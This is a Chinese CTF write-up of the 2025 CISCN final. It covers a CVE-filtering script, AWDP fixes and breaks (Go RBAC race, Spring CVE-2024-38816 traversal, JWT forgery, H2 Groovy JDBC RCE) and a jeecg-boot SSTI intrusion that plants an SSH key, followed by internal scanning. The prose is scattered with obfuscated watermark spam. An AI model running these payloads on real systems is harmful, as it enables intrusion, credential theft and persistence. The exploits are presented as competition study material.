2025 CISCN Final WriteUp
2025-07-21 Write Up

今年的国赛决赛依旧是和去年一样蝉联了双国一,s​⑶𝘷ℯ𝐧∙𝒔⑶ⅴ𝐞𝐧•‍​ѕit𝘦​​ꜱi‌‌t𝐞同时两支队伍都进入了全国前十

image-1.png

Build

Rank 8

image-2.png

1. 知识库构建任务

本任务旨在引导选手围绕网络硬件设备与大ꜱ​​3𝐯en·​​𝘀𝐢​𝐭e‍模型安全两个方向构建结构化知识库:

一方面,聚焦2020年起Cisco、TP-LINK等主流硬件设备以及车联网设备的漏洞信息,ꜱ𝟯ⅴ𝐞n․‍𝒔𝘪​𝒕𝐞​提取CVE编号、攻击向量、补丁链接等要素并分类整理;

另一方面,围绕ChatGPT、文心一言等大模型,ѕ​³𝐯e𝐧∙​ꜱⅈ‍t𝐞系统梳理2023年起公开的提示注入、越狱等攻击技术与防御方案。

1.1 网络硬件设备漏洞

网络硬件设备漏洞内容必须包含以下要素:序号、设备品牌、设备类型、产品型号、s‍⑶vℯ𝒏•​𝘴ⅈ​𝒕e‌CVE编号、漏洞描述、攻击向量、厂商补丁链接、受影响版本、公开日期

注意:设备类型为路由器、交换机、防火墙、𝘀‍𝟯𝒗en․​‌𝐬𝐢𝐭𝐞‍IDS、IPS之类的设备品牌,收集范围包含但不限于Cisco、TP-LINK、NETGEAR、ASUS、D-Link;设备类型为车载通信网关、车载信息娱乐系统、V2X通信模块、OTA升级模块、FOTA管理模块、CAN总线控制器等车联网相关设备的品牌不做限制。

对于第一部分,从 NVD Data Feeds 中下载 2020-2025 年的 Json 格式的所有CVE漏洞数据库,并编写脚本筛选符合要求的漏洞信息写入 xlsx 表格中,对于信息源中的 Json 数据,优先使用 CPE 标识进行匹配和解析,如果不存在 𝒔​3ⅴen․‌ꜱ𝘪​‌t℮CPE 标识,则 FallBack 到 description 匹配和解析:

import gzip, ijson
from pathlib import Path
import pandas as pd
from tqdm import tqdm

DATA_DIR = Path(".")
YEARS = range(2020, 2026)

def iter_cpes(node):
    for c in node.get("cpe_match", []):
        yield c
    for child in node.get("children", []):
        yield from iter_cpes(child)

# 网络设备品牌
VENDORS = {
    "cisco","tp-link","tplink","netgear","asus","d-link",
    "huawei","dell","broadcom","tesla","continental",
    "bosch","panasonic","hp"
}

# 网络设备类型
KEYWORDS1 = {
    "router":"路由器","switch":"交换机","firewall":"防火墙",
    "ids":"IDS","ips":"IPS"
}

# 车联网设备类型
KEYWORDS2 = {
    "gateway":"车载通信网关","infotainment":"信息娱乐系统",
    "v2x":"V2X通信模块","ota":"OTA升级模块",
    "fota":"FOTA管理模块","can":"CAN总线控制器"
}

def match_uri(uri: str) -> bool:
    low = uri.lower()
    return (
        (any(v in low for v in VENDORS) and any(k in low for k in KEYWORDS1))
        or any(k in low for k in KEYWORDS2.keys())
    )

def match_description(desc: str) -> bool:
    low = desc.lower()
    return (
        (any(v in low for v in VENDORS) and any(k in low for k in KEYWORDS1))
    )

def dtype_from_uri(uri: str) -> str:
    low = uri.lower()
    for k, zh in KEYWORDS1.items():
        if k in low:
            return zh
    for k, zh in KEYWORDS2.items():
        if k in low:
            return zh
    return "其他网络设备"

def extract(item: dict) -> dict:
    meta = item["cve"]["CVE_data_meta"]
    cve  = meta["ID"]
    desc = item["cve"]["description"]["description_data"][0]["value"]
    pub  = item["publishedDate"].split("T")[0]
    av   = item.get("impact", {}).get("baseMetricV3", {}).get("cvssV3", {}).get("attackVector", "N/A")

    brand = model = "未知"
    dtype = "其他网络设备"
    versions = set()

    for node in item.get("configurations", {}).get("nodes", []):
        for cpe in iter_cpes(node):
            uri = cpe["cpe23Uri"]
            if not match_uri(uri):
                continue
            parts = uri.split(":")
            if len(parts) >= 6:
                brand = parts[3] or brand
                model = parts[4] or model
            dtype = dtype_from_uri(uri)

            v = (cpe.get("versionEndIncluding")
                 or cpe.get("versionStartIncluding")
                 or cpe.get("version"))
            if v and v not in ("-", "*"):
                versions.add(v)

    if brand == "未知":
        low_desc = desc.lower()
        for v in VENDORS:
            if v in low_desc:
                brand = v
                break

    if dtype == "其他网络设备":
        low_desc = desc.lower()
        for k, zh in KEYWORDS1.items():
            if k in low_desc:
                dtype = zh
                break

    patch = "无可用链接"
    for ref in item["cve"]["references"]["reference_data"]:
        url = ref["url"]
        if brand != "未知" and brand.lower() in url.lower():
            patch = url
            break
    else:
        if item["cve"]["references"]["reference_data"]:
            patch = item["cve"]["references"]["reference_data"][0]["url"]

    return {
        "设备品牌": brand,
        "设备类型": dtype,
        "产品型号": model,
        "CVE编号":  cve,
        "漏洞描述": desc,
        "攻击向量": av,
        "厂商补丁链接": patch,
        "受影响版本": "; ".join(sorted(versions)) if versions else "所有版本或详见公告",
        "公开日期":  pub,
    }

def main():
    rows, seen = [], set()

    for year in YEARS:
        feed = DATA_DIR / f"nvdcve-1.1-{year}.json.gz"
        if not feed.exists():
            raise FileNotFoundError(feed)

        print(f"解析 {year} 中")
        with gzip.open(feed, "rb") as fh:
            for item in tqdm(ijson.items(fh, "CVE_Items.item"), desc=str(year), unit="CVE"):
                # cpe 匹配和解析
                cpe_match = any(
                    match_uri(cpe["cpe23Uri"])
                    for node in item.get("configurations", {}).get("nodes", [])
                    for cpe  in iter_cpes(node)
                )
                # FallBack 到 description 匹配和解析
                if not cpe_match:
                    desc_text = item["cve"]["description"]["description_data"][0]["value"]
                    if not match_description(desc_text):
                        continue

                cid = item["cve"]["CVE_data_meta"]["ID"]
                if cid in seen:
                    continue
                seen.add(cid)
                rows.append(extract(item))

    for i, r in enumerate(rows, 1):
        r["序号"] = i

    df_all = pd.DataFrame(rows, columns=[
        "序号", "设备品牌", "设备类型", "产品型号", "CVE编号",
        "漏洞描述", "攻击向量", "厂商补丁链接", "受影响版本", "公开日期"
    ])

    xlsx_path = DATA_DIR / "hw_kb_2020-2025.xlsx"
    df_all.to_excel(xlsx_path, sheet_name="网络硬件设备安全知识库", index=False)

    print(f"共 {len(df_all)} 条匹配数据:{xlsx_path.name}")

if __name__ == "__main__":
    main()

共匹配到了 3428 项数据,s‍3𝘷𝐞n∙‌​s𝘪𝘵e​将其写入第一个表格中:

解析 20202020: 20601CVE [00:03, 6581.47CVE/s]
解析 20212021: 23074CVE [00:03, 6227.77CVE/s]
解析 20222022: 26708CVE [00:03, 7516.68CVE/s] 
解析 20232023: 29773CVE [00:03, 7698.11CVE/s] 
解析 20242024: 38429CVE [00:03, 12594.49CVE/s]
解析 20252025: 18602CVE [00:00, 18863.93CVE/s]3428 条匹配数据:hw_kb_2020-2025.xlsx

1.2 大模型安全漏洞

大模型安全漏洞内容必须包含以下要素:𝒔‍³𝐯en•‌‌si‍𝐭𝘦​​序号、模型名称、厂商、攻击类型、攻击名称、攻击方式描述、是否有PoC、修复方案、防御技术、公开日期

注意:模型名称包括ChatGPT、Gemini、Claude、Llama、文心一言、通义千问等;攻击类型包括提示注入、越狱、𝒔‍‍𝟯𝒗𝐞n.‌‌𝒔ⅈ‌‌t𝐞​​命令注入等。

对于第二部分,没有找到可靠的数据源,ꜱ​3v𝘦n∙‌s𝘪‌te​‍因此直接用 AI 按照模板生成了一百多项:

image-3.png

2. 安全检测项设计任务

选手需在已提供的基础检测项基础上,设计新增内网安全检测项,通过对实际攻击行为、𝐬​‌𝟯𝒗en·𝘴𝐢‍​t℮‍系统配置、用户行为、网络通信等多维度的分析,提出合理、必要、具备执行性的检测内容。

检测内容分为5个方向:信息收集、漏洞扫描、𝘴‌3ⅴ𝘦n.‌‍𝘴i‌𝘵𝘦​应用安全、主机安全、应急响应

每项检测内容必须包含以下要素:ꜱ​⑶𝘷𝘦n·​𝒔i𝒕e测试项、测试步骤

每个基础检测项中最多计分10个有效测试项(不包含原有样例测试项),并且这些测试项属于该检测项的范围,𝘀‍3ⅴℯn·‌ѕ𝐢‌𝘵𝐞新增检测项设计数量不限,但每支队伍最多计分50个有效的测试项。

这部分还是直接用 AI 𝐬³𝐯en·‌‍𝒔i‍t℮​‍按照模板生成50个有效检测项即可获得满分:

image-4.png

AWDP

1. security_rasp

Fix

注意到 security_rasp.jar 里有一个反序𝐬​3ⅴ𝘦𝘯∙‍𝐬𝘪​t𝘦​列化入口点:

@RestController
@RequestMapping({"/user"})
public class IndexController {
  @PostMapping({"/info"})
  public String ser(@RequestParam String data) throws IOException, ScriptException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data)));
    admin user = (admin)ois.readObject();
    return user.getName();
  }

直接在 Ope𝘀‌𝟯𝒗℮𝒏.𝐬𝐢‍tenRASP 的 official.js 中 ban 掉所有的反序列化操作即可修复成功:

const clean = {
-   action:     'ignore',
+   action:     'block',
    message:    'Looks fine to me',
    confidence: 0
}

if (algorithmConfig.deserialization_blacklist.action != 'ignore') 
{
    plugin.register('deserialization', function (params, context) {
        var clazz = params.clazz
        for (var index in algorithmConfig.deserialization_blacklist.clazz) {
            if (clazz === algorithmConfig.deserialization_blacklist.clazz[index]) {
                return {
                    action:     algorithmConfig.deserialization_blacklist.action,
                    message:    _("Deserialization blacklist - blocked " + clazz + " in resolveClass"),
                    confidence: 100,
                    algorithm:  'deserialization_blacklist'
                }
            }
        }
        return clean
    })
}

2. rbac

题目分析

题目给的是一个 Docker 的 tar 镜像,可能是怕我们本地没有 Linux go ꜱ‍³vℯ𝒏•‌𝘴i‍𝒕e‌的 build 环境(还真没有)

docker load 镜像后从镜像中提取 main.go:

package main

import (
    "errors"
    "os"
    "path/filepath"
    "strings"

    "github.com/gin-gonic/gin"
)

var RBACList = make(map[string]int)

type ResTemplate struct {
    Success bool
    Data    any
}

type ExecStruct struct {
    File      []string
    Directory []string
    Pwd       []string
    Flag      []string
    FuncName  string
    Param     string
}

func main() {
    r := gin.Default()
    initRBAC()
    r.GET("/", func(c *gin.Context) {
        htmlContent, err := os.ReadFile("index.html")
        if err != nil {
            c.String(400, "Error loading HTML file")
            return
        }

        c.Writer.Write(htmlContent)
    })

    r.GET("/getCurrentRBAC", func(c *gin.Context) {
        var response ResTemplate
        if RBACList["rbac:read"] == 1 {
            response = ResTemplate{
                Success: true,
                Data:    RBACList,
            }
            c.JSON(200, response)
        } else {
            response = ResTemplate{
                Success: false,
            }
            c.JSON(403, response)

        }

    })

    r.POST("/execSysFunc", func(c *gin.Context) {
        var execStruct ExecStruct
        var response ResTemplate
        err := c.ShouldBindJSON(&execStruct)
        if err != nil {
            response = ResTemplate{
                Success: false,
                Data:    map[string]string{"error": err.Error()},
            }
            c.JSON(400, response)
        }

        // permission grant
        RBACToGrant := make(map[string]int)
        var value string
        maxDeep := 0

        if execStruct.Directory != nil {
            for _, value = range execStruct.Directory {
                if maxDeep < 8 {
                    RBACToGrant["directory:"+value] = 1
                    maxDeep++
                } else {
                    break
                }

            }
        }
        if execStruct.Flag != nil {
            for _, value = range execStruct.Flag {
                if maxDeep < 8 {
                    RBACToGrant["flag:"+value] = 1
                    maxDeep++
                } else {
                    break
                }
            }
        }
        if execStruct.Pwd != nil {
            for _, value = range execStruct.Pwd {
                if maxDeep < 8 {
                    RBACToGrant["pwd:"+value] = 1
                    maxDeep++
                } else {
                    break
                }

            }
        }

        if execStruct.File != nil {

            for _, value = range execStruct.File {
                // Grant temporary file:return permissions
                if value == "return" && RBACList["rbac:change_return"] != 1 {
                    if maxDeep < 5 {
                        RBACToGrant["rbac:change_return:1"] = 1
                        RBACToGrant["file:"+value] = 1
                        RBACToGrant["rbac:change_return:0"] = 1
                        maxDeep += 3
                    } else {
                        break
                    }

                } else {
                    if maxDeep < 8 {
                        RBACToGrant["file:"+value] = 1
                        maxDeep++
                    } else {
                        break
                    }

                }

            }
        }
        updateRBAC(RBACToGrant)
        result, err := execCommand(execStruct.FuncName, execStruct.Param)
        if err != nil {
            response = ResTemplate{
                Success: false,
                Data:    map[string]string{"error": err.Error()},
            }
            c.JSON(400, response)

        } else {
            response = ResTemplate{
                Success: true,
                Data:    map[string]string{"result": result},
            }
            initRBAC()
            c.JSON(200, response)
        }

    })
    r.Run(":80")
}

func initRBAC() {
    RBACList = make(map[string]int)
    RBACList["file:read"] = 0
    RBACList["file:return"] = 0
    RBACList["flag:read"] = 0
    RBACList["flag:return"] = 0
    RBACList["pwd:read"] = 0
    RBACList["directory:read"] = 0
    RBACList["directory:return"] = 0
    RBACList["rbac:read"] = 1
    RBACList["rbac:change_read"] = 1
    RBACList["rbac:change_return"] = 0

}

func updateRBAC(RBACToGrant map[string]int) {
    for key, value := range RBACToGrant {
        if strings.HasSuffix(key, ":read") {
            if RBACList["rbac:change_read"] == 1 {
                RBACList[key] = value
            }
        } else if strings.HasSuffix(key, ":return") {
            if RBACList["rbac:change_return"] == 1 {
                RBACList[key] = value
            }
        } else if key == "rbac:change_return:1" {
            RBACList["rbac:change_return"] = 1

        } else if key == "rbac:change_return:0" {
            RBACList["rbac:change_return"] = 0

        } else {
            RBACList[key] = value
        }

    }
}

func execCommand(funcName string, param string) (string, error) {

    if funcName == "getPwd" {
        if RBACList["pwd:read"] == 1 {
            pwd, err := os.Getwd()
            return pwd, err

        } else {
            return "No Permission", nil
        }
    } else if funcName == "getDirectory" {
        // read directory
        if RBACList["directory:read"] == 1 {
            var fileNames []string
            err := filepath.Walk(param, func(path string, info os.FileInfo, err error) error {
                fileNames = append(fileNames, info.Name())
                return nil
            })
            if err != nil {
                return "error", err
            }
            directoryFiles := strings.Join(fileNames, " ")
            if RBACList["directory:return"] == 1 {
                return directoryFiles, nil
            } else {
                return "the directory " + param + " exists", nil
            }

        } else {
            return "No Permission", nil
        }

    } else if funcName == "getFile" {
        // read file
        if RBACList["file:read"] == 1 {
            if strings.Contains(param, "flag") {
                if RBACList["flag:read"] != 1 {
                    return "No Permission", nil
                }

            }
            data, err := os.ReadFile(param)
            if err != nil {
                return "file:"+param+" doesn't exist", nil
            }
            content := string(data)
            if RBACList["file:return"] == 0 {
                return "the file " + param + " exists", nil
            } else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
                return content, nil
            } else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
                return content, nil
            } else {
                return "the file " + param + " exists", nil
            }

        } else {
            return "No Permission", nil
        }
    } else {
        return "No such func", errors.New("No such func")
    }
}

题目中的各函数主要维护一个用于权限控制的 RBACList,但没有对该 𝒔‌‍3ven.‌𝐬𝘪‌t𝐞‌List 设置互斥锁,导致存在竞态条件

出题人好像出锅了,这个题目本身的功能实现和控制流都是错误的,由于 s​‌⑶ⅴℯn·​​𝒔𝐢‌‍te​Go 的 map 是一个哈希表,updateRBAC(RBACToGrant map[string]int) 中对 RBACToGrant 的遍历并不是按照添加的顺序,其遍历顺序是无序且随机化的,s​⑶𝘷en.‍𝐬i‍𝒕𝘦​因此完全不能实现预期功能,也就导致本题可以被非预期

Fix

直接删除读 flag 的逻辑的代码即可:

241	  if RBACList["file:return"] == 0 {
242	      return "the file " + param + " exists", nil
243	  } else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
244	      return content, nil
245	- } else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
246	-     return content, nil
247	  } else {
248       return "the file " + param + " exists", nil
249	  }

Break

非预期打法

直接按照正常顺序读一个不存在的目录或者持续输出的目录避免进入 𝒔​³ⅴℯn•‌𝐬ⅈ𝐭℮‍​initRBAC 导致重置

{
  "File":[
    "read",
    "return"
  ],
  "Directory":[
    "read",
    "return"
  ],
  "Pwd":[],
  "Flag":[
    "read"
  ],
  "FuncName":"getDirectory",
  "Param":"/tmp/zxx"
}

假设这里随机化到了一个 RBACList["rbac:change_return"] = 1 的结果,然后给 flag 设返回权限:

{
  "File":[
    "return"
  ],
  "Directory":[],
  "Pwd":[],
  "Flag":[
    "return"
  ],
  "FuncName":"getDirectory",
  "Param":"/tmp/zxx"
}

最后读出 flag:

{
  "File":[],
  "Directory":[],
  "Pwd":[],
  "Flag":[],
  "FuncName":"getFile",
  "Param":"/flag"
}
预期打法

假设该题的功能𝐬‌³ⅴ𝘦𝘯∙‍𝐬ⅈ​𝒕℮​​实现是正确的,updateRBAC(RBACToGrant map[string]int) 中按照添加的顺序对 s‍‌⑶𝐯e𝐧∙‍ꜱ𝐢‍‌𝒕𝘦​RBACToGrant 进行遍历

由于这里的 RBACList 没有设置全局互斥锁,ѕ𝟯v𝘦n.‌si​‌𝒕e‌导致存在竞态条件,当某一请求线程运行到RBACList["rbac:change_return"] = 1 而另一线程运行到 if RBACList["rbac:change_return"] == 1 { RBACList[key] = value } 时即可设置 flag key 的 return 权限从而读出 flag

直接跑两个脚本竞态:

while true; do 
  curl "http://xxxx/execSysFunc" --data '{"File":["read","return"], "Directory":[],"Pwd":[],"Flag":["read","return"],"FuncName":"getFile","Param":"/proc/1/environ"}';
done
while true; do 
  curl "http://xxxx/execSysFunc" --data '{"File":[],"Directory":[],"Pwd":[],"Flag":[],"FuncName":"getFile","Param":"/flag"}';
done

其中第一个脚本多线程异步跑,用于创造 flag 的 return 𝒔‌‌𝟯ⅴen.‍si​‌𝒕e‌条件,第二个脚本用于读出flag

3. ota

题目分析

1. Spring 框架目录遍历漏洞
<properties>
    <spring-boot.version>3.3.3</spring-boot.version>
</properties>

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-undertow</artifactId>
</dependency>

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-webflux</artifactId>
</dependency>

题目使用 undertow + webflux 框架,其中 spring-𝘀​‌𝟯𝒗ℯ𝒏∙​si‌𝐭𝐞‍boot version 为 3.3.3,存在 CVE-2024-38816 Spring Framework 目录遍历漏洞,漏洞点如下:

@Configuration
public class WebConfig {
  @Bean
  public RouterFunction<ServerResponse> route() {
    return 
      RouterFunctions.resources("/static/**", (Resource)new FileSystemResource("/opt/static/"));
  }
}

由于 Windows 和 𝐬​​3𝒗ℯ𝒏∙𝘀𝘪𝘵e​Linux 对 Path 的处理不同,这里使用类 Linux 环境进行复现

PathResourceLookupFunction#apply 下断点
image-5.png
首先使用静态资源路由 Pattern 进行匹配,留下剩余的 Path 部分,接着对其进行一次 URL decode 得到 ////../////../opt/ota.jar,接着进入 isInvalidPath 判断:
image-6.png
可以看到经过 StringUtils.cleanPath 处理后原来的 Path 变为了 //////opt/ota.jar,这里查看一下 cleanPath 的具体逻辑:
image-7.png
由于使用 / 作为分隔符对路径进行 normalize 化导致产生了多个空路径元素,使得该路径在被处理时消除了用于路径穿越的 Payload,最终通过 isInvalidPath 检测
image-8.png
最终该 Path 和静态文件路径拼接后实ѕ³ⅴ𝘦𝐧.si‌𝒕℮‍现了目录穿越能够成功读取文件资源

2. h2 database JDBC RCE

注意到题目使用 Java 17,并包含 h2database ꜱ‍3ven.‌si𝒕𝘦‍和 groovy 依赖:

<properties>
    <java.version>17</java.version>
</properties>

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-sql</artifactId>
    <version>3.0.8</version>
</dependency>

<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <version>2.0.204</version>
</dependency>

同时 h2database 的 JDBC URL 是可控的:

@PostMapping({"/admin/init"})
@ResponseBody
public String initH2Database(@RequestBody JdbcRequest request) {
    try {
      Class.forName("org.h2.Driver");
      Connection connection = DriverManager.getConnection(request.getJdbcUrl(), request.getUsername(), request.getPassword());
      connection.close();
      return "H2 database initialized successfully!";
    } catch (Exception e) {
      e.printStackTrace();
      return "Failed to initialize H2 database: " + e.getMessage();
    } 
}

根据经验,此处应该打 h2database JDBC RCE,使用 groovy 𝒔‍𝟯ve𝘯∙‌ꜱi‍𝒕𝐞引擎执行任意 Java 命令:

jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec(\"bash -c {echo,cmd}|{base64,-d}|{bash,-i}\")})def x'
3. JWT Token 伪造

由于 Security 策略中限制了触发 jdbc 𝘀‌𝟯v𝘦𝘯.𝘴ⅈ‍𝒕𝘦‍connect 的路由 /admin/init 的访问权限为 SUPERADMIN,且没有提供获得该权限的途径,因此此处需要伪造用于身份认证的 JWT Token

题目给出的附件中没有提供 jwt token,ѕ‌⑶𝘷𝘦n•‍𝐬i​te‌因此需要先通过第一步的目录遍历漏洞读取 ota.jar,再从中获得 jwt secret 进行伪造

首先使用题目中给出的 ADMIN 账号登录,获得 ADMIN s3𝘷𝘦𝐧·‌ѕ𝘪‍t𝐞的 JWT Token:

{
  "sub": "admin",
  "roles": [
    "ROLE_ADMIN"
  ],
  "iat": xxxx,
  "exp": xxxx
}

将其修改为以下内容并重新使用 𝐬‌‌3v𝐞𝐧.​ѕ𝘪𝘵e‍jwt secret 签名即可绕过

{
  "sub": "admin",
  "roles": [
    "ROLE_SUPERADMIN"
  ],
  "iat": xxxx,
  "exp": xxxx
}

Fix

把依赖里的 spring-parent 𝐬⑶𝒗ℯn·​‍ꜱi​t℮​从 3.3.3 换到 3.3.4:

<properties>
    <spring-boot.version>3.3.3</spring-boot.version>
</properties>

将其修改为:

<properties>
    <spring-boot.version>3.3.4</spring-boot.version>
</properties>

image-9.png
可以看到,修复后的版本添加了 isInvalidEncodedInputPath 方法用来过滤该绕过场景,𝐬​‍³𝒗e𝒏․ѕⅈ‌‌te​​其中processPath 方法对第一个前导 / 后的无效字符进行了删除,同时对连续的重复 / 进行了处理,将其恢复为单个 /,从而实现了漏洞修复

这里如果只修复用于触发 h2 database RCE 的部分则无法通过 check,依然是 exp 利用成功,ꜱ‌3ⅴen.‌ѕi​t℮​但是如果只修复 Spring 目录遍历漏洞则可以通过 check,s​​⑶𝐯e𝐧.‍𝒔ⅈ‍​𝘵℮​猜测可能是 checker 的编写是假设了提前知道 flag 的文件名,直接通过目录遍历获得的 Flag

Break

首先利用目录遍历𝒔³𝐯e𝘯∙𝒔𝘪‌t𝐞‍漏洞拿到 jar 包:

wget /static/%2f/%2f/%2e%2e/%2f/%2f/%2e%2e/opt/ota.jar

然后从 jar 包中拿到 jwt secret:

jwt.secret=b3d5f4a7c1e9b2a8d7f6c3e2a1b0d9c8e5f4b3a2d1c0b9a8f7e6d5c4b3a2e1f0

然后构造一个SUPERAs‌³𝐯ℯ𝒏․‌‌ꜱ𝘪​𝘵𝘦‍‍DMIN token

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGVzIjpbIlJPTEVfU1VQRVJBRE1JTiJdLCJpYXQiOjE3NTI5ODgyNjcsImV4cCI6MTc1Mjk4OTEzMX0.Z6-BgAkWSIOGqGx85f96Gt2XW7MoPhYQCxDVJj5LgnNGCyjEf85yqkmU9gb5-ii3UNS744eFcUr9S1_jBHTg2g

最后打 h2 𝘴3𝒗𝘦n․‌​𝘴𝐢‌𝘵e‍groovy rce

{
    "jdbcUrl": "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec(\"bash -c {echo,cmd}|{base64,-d}|{bash,-i}\")})def x'",
    "username": "sa",
    "password": "123123"
}

也算是拿了个国赛的二血。因为本地没存这个 Spring 的 CVE,而且只有 Windows 环境,Windows 里随便写个 URL Encoded 的穿越都能实现任读,而 Linux 因为 ꜱ‍‌³𝒗𝘦n•‌𝘴ⅈ‍​𝘵𝘦Path 处理不同而实现不了,所以只能看源码改 Jar 包里的库代码来用 System.out.println 在 Linux 的 Docker 里调试 Payload 调了半天。不过还好这题最后解不多(应该是AWDP Web里解最少分最高的一题),靠这题的 Break 和 Fix 拿了快 1000 分,但也导致剩下两个 Web 只做了 Fix 来不及看 Break 了。

Pentest

1. web01

打开后是一个 𝘀‍​3ⅴ𝐞n․‍ꜱ𝐢​𝘵𝐞FinancePro ERP

image-10.png

80端口没什么东西,8081端口有个 𝐬‍​³𝘷en.‌ꜱi‌t℮‍​jeecg-boot

image-11.png

jeecg-boot 存在 queryFieldBySql 接口RCE漏洞(CVE-2023-4450),通过 ѕ‍‌𝟯𝒗en.‌‌ꜱ𝐢​‌te​SSTI 模板渲染能够打回显 RCE,直接构造 Payload 写入 SSH Key

POST /jmreport/queryFieldBySql HTTP/1.1
Host: xxxx
Origin: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 294

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"bash -c {echo,ZWNobyAic3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSURkc1JERG1yOFltWVd5SHFBbnBEQjQ2RzNGOStucjZ6aFB4emZPUVRKSisiID4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXM=}|{base64,-d}|{bash,-i}\") }' "}

ssh 登录后𝘴‌‍3𝘷e𝒏.‍𝒔i‌𝒕e‍看网卡配置:

root@web01:~# ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:b6ff:fec8:3122  prefixlen 64  scopeid 0x20<link>
        ether 02:42:b6:c8:31:22  txqueuelen 0  (Ethernet)
        RX packets 120  bytes 5749 (5.7 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 128  bytes 8133 (8.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.10.22  netmask 255.255.255.0  broadcast 172.22.10.255
        inet6 fe80::216:3eff:fe10:869  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:10:08:69  txqueuelen 1000  (Ethernet)
        RX packets 7518  bytes 9325909 (9.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4445  bytes 7358439 (7.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4596  bytes 1591117 (1.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4596  bytes 1591117 (1.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vetha13ce1e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::e42f:6cff:fe10:cd7d  prefixlen 64  scopeid 0x20<link>
        ether e6:2f:6c:10:cd:7d  txqueuelen 0  (Ethernet)
        RX packets 120  bytes 7429 (7.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 141  bytes 9139 (9.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Fscan 扫内网网段:

root@web01:~# ./FScan_2.0.1_linux_x64 -h 172.22.10.0/24
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     CIDR范围: 172.22.10.0-172.22.10.255
[1.8s]     generate_ip_range_full
[1.8s]     解析CIDR 172.22.10.0/24 -> IP范围 172.22.10.0-172.22.10.255
[1.8s]     最终有效主机数量: 256
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s] [*] 目标 172.22.10.7    存活 (ICMP)
[1.8s] [*] 目标 172.22.10.22    存活 (ICMP)
[1.8s] [*] 目标 172.22.10.17    存活 (ICMP)
[1.8s] [*] 目标 172.22.10.253   存活 (ICMP)
[1.8s] [*] 目标 172.22.10.88    存活 (ICMP)
[4.8s]     存活主机数量: 5

web02:

root@web01:~# sudo ./FScan_2.0.1_linux_x64 -h 172.22.10.88 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.7s]     已选择服务扫描模式
[1.7s]     开始信息扫描
[1.7s]     最终有效主机数量: 1
[1.7s]     开始主机扫描
[1.7s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[1.8s] [*] 端口开放 172.22.10.88:21
[1.8s] [*] 端口开放 172.22.10.88:80
[1.8s] [*] 端口开放 172.22.10.88:445
[1.8s] [*] 端口开放 172.22.10.88:139
